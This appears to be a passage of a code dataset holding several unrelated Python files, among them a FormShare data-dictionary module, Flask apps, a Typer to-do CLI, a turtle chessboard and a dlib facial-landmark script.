table\n ).filter(\n DictField.field_name == field\n ).update(\n mapped_data\n )\n request.dbsession.flush()\n return True\n except Exception as e:\n log.error(\n \"Error {} while updating description \"\n \"for field {} in table {} in form {} of project {}\".format(\n str(e), field, table, form, project\n )\n )\n return False\n\n\ndef update_dictionary_table_desc(request, project, form, table, description):\n \"\"\"\n Update the description of a table\n :param request: Pyramid request object\n :param project: Project ID\n :param form: Form ID\n :param table: Table name\n :param description: New description\n :return: True or False\n \"\"\"\n try:\n request.dbsession.query(DictTable).filter(\n DictTable.project_id == project\n ).filter(DictTable.form_id == form).filter(\n DictTable.table_name == table\n ).update(\n {\"table_desc\": description}\n )\n request.dbsession.flush()\n return True\n except Exception as e:\n log.error(\n \"Error {} while updating description \"\n \"for table {} in form {} of project {}\".format(str(e), table, form, project)\n )\n return False\n\n\ndef get_dictionary_tables(request, project, form, table_type):\n \"\"\"\n Returns all tables as an array with their information\n :param request: Pyramid request object\n :param project: Project ID\n :param form: Form ID\n :param table_type: Type of table to return: None=All, 1= Data tables, 2= Lookup tables\n :return: Array of dict elements or empty array\n \"\"\"\n if table_type is None:\n res = (\n request.dbsession.query(DictTable)\n .filter(DictTable.project_id == project)\n .filter(DictTable.form_id == form)\n .order_by(DictTable.table_index)\n .all()\n )\n return map_from_schema(res)\n if table_type == 1:\n res = (\n request.dbsession.query(DictTable)\n .filter(DictTable.project_id == project)\n .filter(DictTable.form_id == form)\n .filter(DictTable.table_lkp == 0)\n .order_by(DictTable.table_index)\n .all()\n )\n return map_from_schema(res)\n if table_type == 2:\n res = (\n request.dbsession.query(DictTable)\n .filter(DictTable.project_id == project)\n .filter(DictTable.form_id == form)\n .filter(DictTable.table_lkp == 1)\n .order_by(DictTable.table_index)\n .all()\n )\n return map_from_schema(res)\n return []\n\n\ndef get_dictionary_table_desc(request, project, form, table):\n \"\"\"\n Return the description of a table in the DB\n :param request: Pyramid request object\n :param project: Project ID\n :param form: Form ID\n :param table: Table name\n :return: Table description or None\n \"\"\"\n return (\n request.dbsession.query(DictTable.table_desc)\n .filter(DictTable.project_id == project)\n .filter(DictTable.form_id == form)\n .filter(DictTable.table_name == table)\n .first()\n )\n\n\ndef get_dictionary_fields(request, project, form, table):\n \"\"\"\n Get the fields of a table from the DB as a array of dict\n :param request: Pyramid request\n :param project: Project ID\n :param form: Form ID\n :param table: Table name\n :return: Array of dict fields\n \"\"\"\n res = (\n request.dbsession.query(DictField)\n .filter(DictField.project_id == project)\n .filter(DictField.form_id == form)\n .filter(DictField.table_name == table)\n .order_by(DictField.field_index)\n .all()\n )\n return map_from_schema(res)\n\n\ndef update_dictionary_tables(request, project, form): # pragma: no cover\n \"\"\"\n Update the dictionary tables in the DB using a create XML file.\n This function has no coverage because it is used by old version of FormShare\n to move the dictionary tables from XML files to database\n :param request: Pyramid request object\n :param project: Project ID\n :param form: Form ID\n :return: True if update happened, False if error\n \"\"\"\n\n def create_new_field_dict(a_table, a_field):\n field_desc = a_field.get(\"desc\", \"\")\n field_rlookup = a_field.get(\"rlookup\", \"false\")\n if field_rlookup == \"true\":\n field_rlookup = 1\n else:\n field_rlookup = 0\n field_key = a_field.get(\"key\", \"false\")\n if field_key == \"true\":\n field_key = 1\n else:\n field_key = 0\n field_sensitive = a_field.get(\"sensitive\", \"false\")\n if field_sensitive == \"true\":\n field_sensitive = 1\n else:\n field_sensitive = 0\n new_field_dict = {\n \"project_id\": project,\n \"form_id\": form,\n \"table_name\": a_table.get(\"name\"),\n \"field_name\": a_field.get(\"name\"),\n \"field_desc\": field_desc,\n \"field_key\": field_key,\n \"field_xmlcode\": a_field.get(\"xmlcode\"),\n \"field_type\": a_field.get(\"type\"),\n \"field_odktype\": a_field.get(\"odktype\"),\n \"field_rtable\": a_field.get(\"rtable\"),\n \"field_rfield\": a_field.get(\"rfield\"),\n \"field_rlookup\": field_rlookup,\n \"field_rname\": a_field.get(\"rname\"),\n \"field_selecttype\": a_field.get(\"selecttype\"),\n \"field_externalfilename\": a_field.get(\"externalfilename\"),\n \"field_codecolumn\": a_field.get(\"codeColumn\"),\n \"field_desccolumn\": a_field.get(\"descColumn\"),\n \"field_size\": a_field.get(\"size\", 0),\n \"field_decsize\": a_field.get(\"decsize\", 0),\n \"field_sensitive\": field_sensitive,\n \"field_protection\": a_field.get(\"protection\"),\n }\n if a_field.get(\"selecttype\") == \"2\":\n if new_field_dict[\"field_externalfilename\"].upper().find(\".CSV\") == -1:\n new_field_dict[\"field_externalfilename\"] = (\n new_field_dict[\"field_externalfilename\"] + \".csv\"\n )\n return new_field_dict\n\n def store_tables(element, lookup):\n # Process tables\n tables = element.findall(\".//table\")\n if tables:\n for table in tables:\n res = (\n request.dbsession.query(DictTable.table_name)\n .filter(DictTable.project_id == project)\n .filter(DictTable.form_id == form)\n .filter(DictTable.table_name == table.get(\"name\"))\n .count()\n )\n if res == 0:\n new_table_dict = {\n \"project_id\": project,\n \"form_id\": form,\n \"table_name\": table.get(\"name\"),\n \"table_desc\": table.get(\"desc\"),\n \"table_lkp\": lookup,\n \"table_inserttrigger\": table.get(\"inserttrigger\"),\n \"table_xmlcode\": table.get(\"xmlcode\"),\n }\n parent = table.getparent()\n if parent.tag == \"table\":\n new_table_dict[\"parent_project\"] = project\n new_table_dict[\"parent_form\"] = form\n new_table_dict[\"parent_table\"] = parent.get(\"name\")\n new_table = DictTable(**new_table_dict)\n try:\n request.dbsession.add(new_table)\n request.dbsession.flush()\n for field in table.getchildren():\n if field.tag == \"field\":\n res = (\n request.dbsession.query(DictField.field_name)\n .filter(DictField.project_id == project)\n .filter(DictField.form_id == form)\n .filter(DictField.table_name == table.get(\"name\"))\n .filter(DictField.field_name == field.get(\"name\"))\n .count()\n )\n if res == 0:\n new_field_dict = create_new_field_dict(table, field)\n new_field = DictField(**new_field_dict)\n try:\n request.dbsession.add(new_field)\n request.dbsession.flush()\n except IntegrityError:\n request.dbsession.rollback()\n log.error(\n \"Duplicated field {} in table {} in project {} form {}\".format(\n field.get(\"name\"),\n table.get(\"name\"),\n project,\n form,\n )\n )\n return False\n except IntegrityError:\n request.dbsession.rollback()\n log.error(\n \"Duplicated table {} in project {} form {}\".format(\n table.get(\"name\"), project, form\n )\n )\n return False\n else:\n for field in table.getchildren():\n if field.tag == \"field\":\n res = (\n request.dbsession.query(DictField.field_name)\n .filter(DictField.project_id == project)\n .filter(DictField.form_id == form)\n .filter(DictField.table_name == table.get(\"name\"))\n .filter(DictField.field_name == field.get(\"name\"))\n .count()\n )\n if res == 0:\n new_field_dict = create_new_field_dict(table, field)\n new_field = DictField(**new_field_dict)\n try:\n request.dbsession.add(new_field)\n request.dbsession.flush()\n except IntegrityError:\n request.dbsession.rollback()\n log.error(\n \"Duplicated field {} in table {} in project {} form {}\".format(\n field.get(\"name\"),\n table.get(\"name\"),\n project,\n form,\n )\n )\n return False\n return True\n\n create_file = get_form_xml_create_file(request, project, form)\n if not os.path.isfile(create_file):\n return False\n tree = etree.parse(create_file)\n root = tree.getroot()\n element_lkp_tables = root.find(\".//lkptables\")\n element_tables = root.find(\".//tables\")\n lkp_stored = store_tables(element_lkp_tables, 1)\n non_lkp_stored = store_tables(element_tables, 0)\n if lkp_stored and non_lkp_stored:\n return True\n else:\n return False\n","repo_name":"qlands/FormShare","sub_path":"formshare/processes/db/dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":19873,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"53"}
+{"seq_id":"18608079009","text":"import os\nimport requests\nfrom pytz import timezone\nfrom datetime import datetime as dt\nfrom flask import Flask, render_template, jsonify, request\nfrom TimeLapseDriver import TimeLapseDriver\nfrom threading import Thread\n\napp = Flask(__name__)\napi_string = 'https://rt.ambientweather.net/v1/devices?applicationKey=' + \\\n os.environ['AMBIENT_APPLICATION_KEY'] + \\\n '&apiKey=' + os.environ['AMBIENT_API_KEY']\n\ntime_lapse_driver = TimeLapseDriver()\n\n@app.route('/', methods=['GET', 'POST'])\ndef index_save_time_lapse():\n if request.form.get('save') == 'Save Time Lapse':\n Thread(target=time_lapse_driver.save_time_lapse).start()\n\n if request.form.get('update') == 'Update':\n try:\n int(request.form['frames'])\n except:\n pass\n\n time_lapse_driver.update_params(\n int(request.form['frames']),\n int(request.form['units']),\n int(request.form['fps']),\n int(request.form['retain'])\n )\n Thread(target=time_lapse_driver.regenerate_time_lapse_preview).start()\n\n return render_template('index.html')\n\n@app.route('/_update_wx_data', methods=['GET'])\ndef update_wx_data():\n resp = requests.get(api_string)\n if resp.status_code == 200:\n weather_data = resp.json()[0]['lastData']\n\n timestamp = dt.fromtimestamp(weather_data['dateutc'] // 1000)\n tz = timezone('America/Los_Angeles')\n timestamp = tz.localize(timestamp)\n formatted_timestamp = timestamp.strftime(\"%I:%M %p %Z\")\n weather_data['dateutc'] = formatted_timestamp\n\n return jsonify(weather_data)\n return {}\n\n\n@app.route('/_time_lapse_regenerating', methods=['GET'])\ndef time_lapse_regenerating():\n preview_filename, regenerating = time_lapse_driver.get_preview_file_and_regen()\n return jsonify(\n regenerating=regenerating,\n preview_filename=preview_filename\n )\n\n@app.route('/_get_time_lapse_params', methods=['GET'])\ndef get_time_lapse_params():\n return jsonify(\n num_frames=time_lapse_driver.num_frames,\n unit=time_lapse_driver.unit.value, \n fps=time_lapse_driver.fps,\n retain=time_lapse_driver.retain_frames\n )\n\n\nif __name__ == '__main__':\n Thread(target=time_lapse_driver.run).start()\n Thread(target=app.run, args=['0.0.0.0']).start()\n","repo_name":"torinv/shelby-wx","sub_path":"app/ShelbyWx.py","file_name":"ShelbyWx.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"7710407504","text":"import sys\n\n\ndef function():\n if (len(sys.argv) != 2 or not sys.argv[1].isdigit()):\n print(\"ERROR\")\n return (0)\n n = int(sys.argv[1])\n if (n == 0):\n print(\"I'm Zero.\")\n return (0)\n if (n % 2 == 0):\n print(\"I'm Even.\")\n return (0)\n else:\n print(\"I'm Odd.\")\n return (0)\n\n\n# This conditional is used to check whether a python module is being run\n# directly or being imported\nif __name__ == '__main__':\n function()\n","repo_name":"anolivei/42-ai_bootcamp_python","sub_path":"day00/ex02/whois.py","file_name":"whois.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"1431471369","text":"import moviepy.editor as mpy\nfrom helper import numberInDigits\nfrom helper import removeAll\n\n\ndef getBaseClips():\n face_low = mpy.ImageClip('Data/Base Images/face low.png')\n face_mid = mpy.ImageClip('Data/Base Images/face mid.png')\n face_high = mpy.ImageClip('Data/Base Images/face high.png')\n hands_low = mpy.ImageClip('Data/Base Images/hands low.png')\n hands_mid = mpy.ImageClip('Data/Base Images/hands mid.png')\n hands_high = mpy.ImageClip('Data/Base Images/hands high.png')\n zoom_low = mpy.ImageClip('Data/Base Images/zoom low.png')\n zoom_mid = mpy.ImageClip('Data/Base Images/zoom mid.png')\n zoom_high = mpy.ImageClip('Data/Base Images/zoom high.png')\n return face_low, face_mid, face_high, hands_low, hands_mid, hands_high, zoom_low, zoom_mid, zoom_high\n\n\ndef getClipToDraw(value, allClips):\n face_low, face_mid, face_high, hands_low, hands_mid, hands_high, zoom_low, zoom_mid, zoom_high = allClips\n if value == \"face_low\":\n return face_low\n if value == \"face_mid\":\n return face_mid\n if value == \"face_high\":\n return face_high\n if value == \"hands_low\":\n return hands_low\n if value == \"hands_mid\":\n return hands_mid\n if value == \"hands_high\":\n return hands_high\n if value == \"zoom_low\":\n return zoom_low\n if value == \"zoom_mid\":\n return zoom_mid\n if value == \"zoom_high\":\n return zoom_high\n\n\ndef drawFrames(clip, start, count, fileName, numberOfDigits):\n for i in range(start, start+count):\n clip.save_frame(fileName+numberInDigits(i, numberOfDigits)+\".jpg\")\n\n\ndef createSequenceFiles(labels, classes, step, fps, folder):\n removeAll(folder)\n allClips = getBaseClips()\n\n fileName = folder + '/'\n\n framesToDraw = int(fps * step)\n\n totalFileCount = framesToDraw * len(labels)\n numDigits = len(str(totalFileCount))\n\n fileCount = 0\n print(\"FramestoDraw:\", framesToDraw, \"len:\", len(labels))\n\n for label in labels:\n className = classes[int(label)]\n\n clip = getClipToDraw(className, allClips)\n drawFrames(clip, fileCount, framesToDraw, fileName, numDigits)\n\n fileCount = fileCount + framesToDraw\n\n\ndef saveSequenceAsVideo(folder, fps, fileName, audio=\"\"):\n if audio != \"\":\n audioClip = mpy.AudioFileClip(audio)\n clip = mpy.ImageSequenceClip(folder, fps)\n if audioClip:\n clip = clip.set_audio(audioClip)\n clip.write_videofile(fileName, fps)\n","repo_name":"Projudah/VoiceAnimator","sub_path":"video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"1167326883","text":"from venv import create\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\nimport lib.visualize as visualize\n\n# Fixing random state for reproducibility\nnp.random.seed(19680801)\n\n\ndef random_walk(num_steps, max_step=0.05):\n \"\"\"Return a 3D random walk as (num_steps, 3) array.\"\"\"\n start_pos = np.random.random(3)\n steps = np.random.uniform(-max_step, max_step, size=(num_steps, 3))\n walk = start_pos + np.cumsum(steps, axis=0)\n return walk\n\n\ndef update_lines(num, walks, lines):\n for line, walk in zip(lines, walks):\n # NOTE: there is no .set_data() for 3 dim data...\n line.set_data(walk[:num, :2].T)\n line.set_3d_properties(walk[:num, 2])\n return lines\n\n\nax = visualize.create_plt()\nvisualize.show_plt(False)\n\nfor i in range(100):\n visualize.anim_begin_update(ax)\n p = np.random.random(3) - 0.5\n ax.scatter([p[0]], [p[1]], [p[2]], c=(1, 0, 0), s=100)\n visualize.anim_end_update(ax)\n","repo_name":"furaga/multiview-3d-pose","sub_path":"test_anim.py","file_name":"test_anim.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"33919115119","text":"\nimport animales\n\n\nmenu = {\n '1': '1. Búho \\U0001F989 ',\n '2': '2. Delfín \\U0001F42C',\n '3': '3. Tortuga \\U0001F422',\n \"0\": '0. Salir',\n}\nprint('Bienvenido al juego de animales')\n\n\nclass Animal():\n def __init__(self, animal_type):\n self.animal_type = animal_type\n \n\n def mostrar_animal(self):\n animal_art = getattr(animales, self.animal_type)\n return animal_art\n\n\nif __name__== '__main__':\n for option in menu:\n print(menu.get(option))\n\n while True:\n user_input = input('Ingresa una opción: ')\n if user_input == '0':\n #salir\n print('Hasta pronto \\U0001F609')\n break\n elif user_input in menu:\n #imprimir\n menu_value = menu.get(user_input)\n menu_value.split(' ')\n #user_input = Animal()\n \n if user_input == '1':\n print(animales.buho)\n if user_input == '2':\n print(animales.delfin)\n if user_input == '3':\n print(animales.tortuga)\n #animal = Animal(buho.animal_type) \n #print(buho.mostrar_animal())\n #print('mostrar')\n else:\n #opcion invalida\n print('Lo siento, Opción no válida \\U0001F636')\n ","repo_name":"betancourtg/python_animales","sub_path":"animal.py","file_name":"animal.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19653369929","text":"import numpy as np\nfrom satpy.enhancements import colorize as _colorize\nfrom satpy.enhancements import palettize as _palettize\n\nfrom polar2grid.add_colormap import parse_color_table_file\nfrom polar2grid.utils.config import get_polar2grid_home\n\n\ndef temperature_difference(img, min_stretch, max_stretch, **kwargs):\n \"\"\"Scale data linearly with a buffer on the edges for over limit data.\n\n Basic behavior is to put -10 to 10 range into 5 to 205 with clipped data\n set to 4 and 206.\n\n \"\"\"\n img.crude_stretch(min_stretch, max_stretch)\n # we assume uint8 images for legacy AWIPS comparisons\n offset = 1 / 255.0\n factor = (205.0 - 5.0) / 255.0\n img.data = img.data * factor\n img.data.data = np.clip(img.data.data, -offset, factor + offset) # 4 and 206 offset\n img.data = img.data + 5 * offset # lower bound of 5\n return img\n\n\ndef _parse_palettes_for_p2g_cmap(palettes: list):\n for palette in palettes:\n filename = palette.get(\"filename\", \"\")\n if not filename or (filename.endswith(\".npy\") or filename.endswith(\".npz\")):\n yield palette\n continue\n p2g_home = get_polar2grid_home()\n filename = filename.replace(\"$POLAR2GRID_HOME\", p2g_home)\n filename = filename.replace(\"$GEO2GRID_HOME\", p2g_home)\n colors = parse_color_table_file(filename)\n values = [color[0] for color in colors]\n colors = [color[1:] for color in colors]\n new_palette = {\n \"colors\": colors,\n \"values\": values,\n }\n yield new_palette\n\n\ndef colorize(img, **kwargs):\n kwargs[\"palettes\"] = list(_parse_palettes_for_p2g_cmap(kwargs[\"palettes\"]))\n return _colorize(img, **kwargs)\n\n\ndef palettize(img, **kwargs):\n kwargs[\"palettes\"] = list(_parse_palettes_for_p2g_cmap(kwargs[\"palettes\"]))\n return _palettize(img, **kwargs)\n","repo_name":"cloudsillusions/polar2grid","sub_path":"polar2grid/enhancements/shared.py","file_name":"shared.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"3376828259","text":"\n\nimport sys\nimport re\nfrom optparse import OptionParser\n\nusage = \"usage: %prog [options]\"\nparser = OptionParser(usage=usage)\nparser.add_option(\"--column\", dest=\"column\",\n help=\"column\")\nparser.add_option(\"--pattern\", dest=\"pattern\",\n help=\"patten\")\n\ncolumn_idx = 1\nsearch_string = 'query'\noptions, args = parser.parse_args()\n\n\nfor line in sys.stdin.readlines():\n x = list(filter(lambda y: y != '', re.split('\\s+', line)))\n if x[int(options.column)] == options.pattern:\n sys.stdout.write(\"%s\\n\" % line.strip())\n\n\n# bq ls -j --max_results=1 | ./filter_csv.py --column=1 --pattern=query | awk '{print $1}' | while read -r line; do bq show --format=prettyjson -j \"$line\"; done\n#How to do the map on a stream in an efficient way?\n #using the cli? xargs, a while loop that turns it back into a stream? or using python that takes the cli command to call as a lambda?","repo_name":"jweibel22/python-scratchpad","sub_path":"src/util/filter_csv.py","file_name":"filter_csv.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39175356335","text":"from pathlib import Path\nfrom typing import List, Optional\n\nimport typer\n\nfrom get_it_done import ERRORS, __app_name__, __version__, config, database, get_it_done\n\napp = typer.Typer()\n\n@app.command()\ndef init(\n db_path: str = typer.Option(\n str(database.DEFAULT_DB_FILE_PATH),\n \"--db-path\",\n \"-db\",\n prompt=\"get-it-done database location?\",\n ),\n) -> None:\n \"\"\"Init the database.\"\"\"\n app_init_error = config.init_app(db_path)\n if app_init_error:\n typer.secho(\n f'creating config file with \"{ERRORS[app_init_error]}\"',\n fg=typer.colors.RED,\n )\n raise typer.Exit(1)\n db_init_error = database.init_database(Path(db_path))\n if db_init_error:\n typer.secho(\n f'creating config file with \"{ERRORS[db_init_error]}\"',\n fg=typer.colors.RED,\n )\n raise typer.Exit(1)\n else:\n typer.secho(f\"database is {db_path}\", fg=typer.colors.GREEN)\n\n@app.command()\ndef add(\n description: List[str] = typer.Argument(...),\n priority: int = typer.Option(2, \"--priority\", \"-p\", min=1, max=3),\n) -> None:\n \"\"\"Add a new to-do with a description.\"\"\"\n todoer = get_todoer()\n todo, error = todoer.add(description, priority)\n if error:\n typer.secho(\n f'Adding to-do failed with\"{ERRORS[error]}\"', fg=typer.colors.RED\n )\n raise typer.Exit(1)\n else:\n typer.secho(\n f\"\"\"to-do: \"{todo['Description']}\" was added \"\"\"\n f\"\"\"with priority: {priority}\"\"\",\n fg=typer.colors.GREEN\n )\n\n@app.command(name=\"list\")\ndef list_items() -> None:\n \"\"\"List all items in db.\"\"\"\n todoer = get_todoer()\n todo_list = todoer.get_todo_list()\n if len(todo_list) == 0:\n typer.secho(\n 'No items found',\n fg=typer.colors.RED,\n )\n raise typer.Exit()\n typer.secho(\"\\nto-do list:\\n\",\n fg=typer.colors.BLUE, bold=True)\n columns = (\n \"ID. \",\n \"| Priority \",\n \"| Done \",\n \"| Description \",\n )\n headers = \"\".join(columns)\n typer.secho(headers, fg=typer.colors.GREEN, bold=True)\n typer.secho(\"-\" * len(headers), fg=typer.colors.GREEN)\n for id, todo in enumerate(todo_list, 1):\n desc, priority, done = todo.values()\n typer.secho(\n f\"{id}{(len(columns[0]) - len(str(id))) * ' '}\"\n f\"| ({priority}){(len(columns[1]) - len(str(priority)) - 4) * ' '}\"\n f\"| {done}{(len(columns[2]) - len(str(done)) - 2) * ' '}\"\n f\"| {desc}\",\n fg=typer.colors.GREEN,\n )\n typer.secho(\"-\" * len(headers) + \"\\n\", fg=typer.colors.GREEN)\n\n \ndef _version_callback(value: bool) -> None:\n \"\"\"Shows app version.\"\"\"\n if value:\n typer.echo(f\"{__app_name__} v{__version__}\")\n raise typer.Exit()\n\ndef get_todoer() -> get_it_done.Todoer:\n if config.CONFIG_FILE_PATH.exists():\n db_path = database.get_database_path(config.CONFIG_FILE_PATH)\n else:\n typer.secho(\n 'config file not found, run get-it-don init',\n fg=typer.colors.RED,\n )\n raise typer.Exit(1)\n if db_path.exists():\n return get_it_done.Todoer(db_path)\n else:\n typer.secho(\n \"DB not found, run get-it-don init \",\n fg=typer.colors.RED,\n )\n raise typer.Exit(1)\n\n@app.callback()\ndef main(\n version: Optional[bool] = typer.Option(\n None,\n \"--version\",\n \"--v\",\n help=\"Show the apps version\",\n callback=_version_callback,\n is_eager=True,\n )\n) -> None:\n return\n","repo_name":"SharleneNdinda/get-it-done","sub_path":"get_it_done/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":3636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"17081038703","text":"from flask import render_template\n\nfrom app import app\nfrom app.models.order import order\nfrom app.models.order_list import orders\n\n\n@app.route('/order')\ndef index():\n return render_template(\n 'base.html', \n title = \"Dildos 'r' us\", \n orders = orders\n )\n\n@app.route('/order/find-by-index/')\ndef find_by_index(index):\n for order in orders:\n if order[0] == index:\n return f\"{str(order.customer_name)} ordered {str(order.quantity)} of{str(order.item_name)} for personal reasons, on {str(order.order_date)}\"\n\n return \"User not found (try 1 or 2)\"\n\n return render_template(\n 'order.html',\n title = \"Dildos 'r' us\",\n orders = orders\n )\n\n@app.route('/order/find-by-name/')\ndef find_by_name(name):\n for order in orders:\n if order.customer_name == name:\n return f\"{str(order.customer_name)} ordered {str(order.quantity)} of {str(order.item_name)} for personal reasons, on {str(order.order_date)}\"\n\n return \"Keyboard not found (press any key to continue)\"\n\n return render_template(\n 'order.html',\n title = \"Dildos 'r' us\",\n orders = orders\n )\n","repo_name":"Codeonium/03W03D_Flask_lab","sub_path":"03_flask_lab_hw/app/controllers/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74202142248","text":"\"\"\"\r\nN(카드 묶음 개수)\r\nplusPq(양수 우선순위 큐) minusPq(음수 우선순위 큐)\r\none(1의 개수 카운트) zero(0의 개수 카운트)\r\n\"\"\"\r\n\r\nfrom queue import PriorityQueue\r\nN = int(input())\r\nplusPq = PriorityQueue()\r\nminusPq = PriorityQueue()\r\none = 0\r\nzero = 0\r\nsum = 0\r\n\r\nfor _ in range(N):\r\n data = int(input())\r\n if data > 1:\r\n data *= -1\r\n plusPq.put(data)\r\n elif data < 0:\r\n minusPq.put(data)\r\n elif data == 0:\r\n zero += 1\r\n else:\r\n one += 1\r\n\r\nwhile plusPq.qsize() > 1:\r\n first = plusPq.get() * -1\r\n second = plusPq.get() * -1\r\n sum += first * second\r\n\r\nif plusPq.qsize() > 0:\r\n sum += plusPq.get() * -1\r\n\r\nwhile minusPq.qsize() > 1:\r\n first = minusPq.get()\r\n second = minusPq.get()\r\n sum += first * second\r\n\r\nif minusPq.qsize() > 0 and zero == 0:\r\n sum += minusPq.get()\r\n\r\nsum += one\r\nprint(sum)","repo_name":"gangdonguri/python-bootcamp","sub_path":"codingtest/034.py","file_name":"034.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72909287208","text":"#Jonathan Mecham\n#A01854679\n#Comp Science 1400\n# Chessboard. Program takes inputs of location, length, and height and prints a chessboard.\n\n\n\nimport turtle\n\n# outline of board\ndef drawBoard (startX, startY, length, height):\n turtle.penup()\n turtle.goto (startX, startY)\n turtle.pendown()\n turtle.forward (length)\n turtle.left (90)\n turtle.forward (height)\n turtle.left (90)\n turtle. forward (length)\n turtle. left (90)\n turtle. forward (height)\n\n#draw rectangle\ndef drawRectangle(startX, startY, length, height):\n turtle.penup()\n turtle.goto(startX, startY)\n turtle.pendown()\n turtle.begin_fill()\n turtle.left(90)\n turtle.forward(length / 8)\n turtle.left(90)\n turtle.forward(height / 8)\n turtle.left(90)\n turtle.forward(length / 8)\n turtle.left(90)\n turtle.forward(height / 8)\n turtle.end_fill()\n\n#draws all the the rectangles on the board\ndef drawAllRectangles(startX, startY, length=250, height=250):\n leftRow = 0\n while leftRow <= 4:\n rectangle = 0\n startX, startY = startX, startY\n while rectangle <= 4:\n drawRectangle(startX, startY, length, height)\n rectangle += 1\n startX += (length / 8) * 2\n if rectangle == 4:\n leftRow += 1\n startY += (height / 8) * 2\n startX = (startX - startX)\n break\n if leftRow == 4:\n break\n rightRow = 0\n startY = startY - startY\n startX += length / 8\n startY += height / 8\n while rightRow <= 4:\n rectangle = 0\n while rectangle <= 4:\n drawRectangle(startX, startY, length, height)\n rectangle += 1\n startX += (length / 8) * 2\n if rectangle == 4:\n rightRow += 1\n startX = startX - startX\n startX += length / 8\n startY += (height / 8) * 2\n break\n if rightRow == 4:\n break\n\n#runs the whole program\ndef main():\n import turtle\n\n startX, startY = eval(input(\"Enter beggining (x,y) location:\"))\n length, height = eval(input (\"Enter the length and height (length,height):\"))\n\n if length == \"\" and height == \"\":\n drawBoard(startX, startY, length, height)\n elif height == \"\":\n drawBoard(startX, startY, length, height)\n elif length == \"\":\n drawBoard(startX, startY, length, height)\n else:\n drawBoard(startX, startY, length, height)\n\n drawAllRectangles(startX, startY, length, height)\n\n turtle.hideturtle ()\n turtle.done ()","repo_name":"jonsmec95/MechamJonathan-GameObjects","sub_path":"PycharmProjects/Mecham-Jonathan-Assn#9/chessboard.py","file_name":"chessboard.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"69937351210","text":"import dlib\nimport cv2\nimport numpy as np\nimport math\n#import cvtest as f1\n\n\n\ndistance={}\n\ndef load_dataset(li):\n with open(\"train.txt\", \"a\") as f:\n for i in l:\n st=str(i)\n f.write(st)\n f.write(\",\")\n s=input(\"Enter the expression:\")\n if s==\"happy\":\n f.write(\"1\")\n f.write(\",T\\n\")\n elif s==\"neutral\":\n f.write(\"10\")\n f.write(\",T\\n\")\n elif s==\"sad\":\n f.write(\"0\")\n f.write(\",T\\n\")\n \n\ndef retrieve_data():\n data_array = np.array([[]])\n li=[]\n with open(\"train.txt\", \"r\") as file:\n data = file.readlines()\n for line in data:\n s=\"\"\n for i in line:\n if i>='0'or i<='9' or i=='.':\n if i!=',':\n s=s+i;\n if i==',' and i!='T':\n li.append(float(s))\n s=\"\"\n print(li[2278])\n data_array=np.append(data_array, li)\n #classifier(list li)\n print(len(li))\n li=[]\ndef distanceline(img,array_points):\n for i in range(68):\n x1,y1=array_points[i]\n for j in range(i+1,68):\n x2,y2=array_points[j]\n cv2.line(img,(x1,y1),(x2,y2),(0,0,255),1)\n distance[str(i)+\"->\"+str(j)]=euclidean_distance(x1,y1,x2,y2)\ndef euclidean_distance(x1,y1,x2,y2):\n return math.sqrt( (x1-x2)**2 + (y1-y2)**2 )\n\ndef plot(image,landmark): #passing img AS argument causing problem\n image_c = image.copy\n for point in landmark:\n pos = (point[0,0],point[0,1])\n print (pos)\n cv2.circle(image_c, pos, 3, color=(0, 255, 0))\n return image_c\n \ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\nwin = dlib.image_window()\nimg =cv2.imread(\"testface.jpg\",-1)\nimage = img.copy()\nwin.set_image(img)\ndets = detector(img,1)\nfor k, d in enumerate(dets):\n shape = predictor(img,d)\n print(\"Part 0: {}, Part 1: {} part2 : {}\".format(shape.part(0),shape.part(1),shape.part(2)))\n mat = np.matrix([[p.x, p.y] for p in shape.parts()])\n \n win.add_overlay(shape)\n\nlist=[] \nfor point in mat:\n pos = (point[0,0],point[0,1])\n #print (pos)\n list.append(pos)\n cv2.circle(image, pos, 3, (0, 255, 0),-1) \nwin.add_overlay(dets)\ncv2.imshow(\"landmark\", image)\ndistanceline(image,list)\n\n\nl=[]\nfor i in range(68):\n for j in range(i+1,68):\n l.append(round(distance[str(i)+\"->\"+str(j)],2))\n\nload_dataset(l)\nretrieve_data()\n\n\n\ndlib.hit_enter_to_continue()\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n","repo_name":"baarath9829/Emotion-Detection","sub_path":"EDetection.py","file_name":"EDetection.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
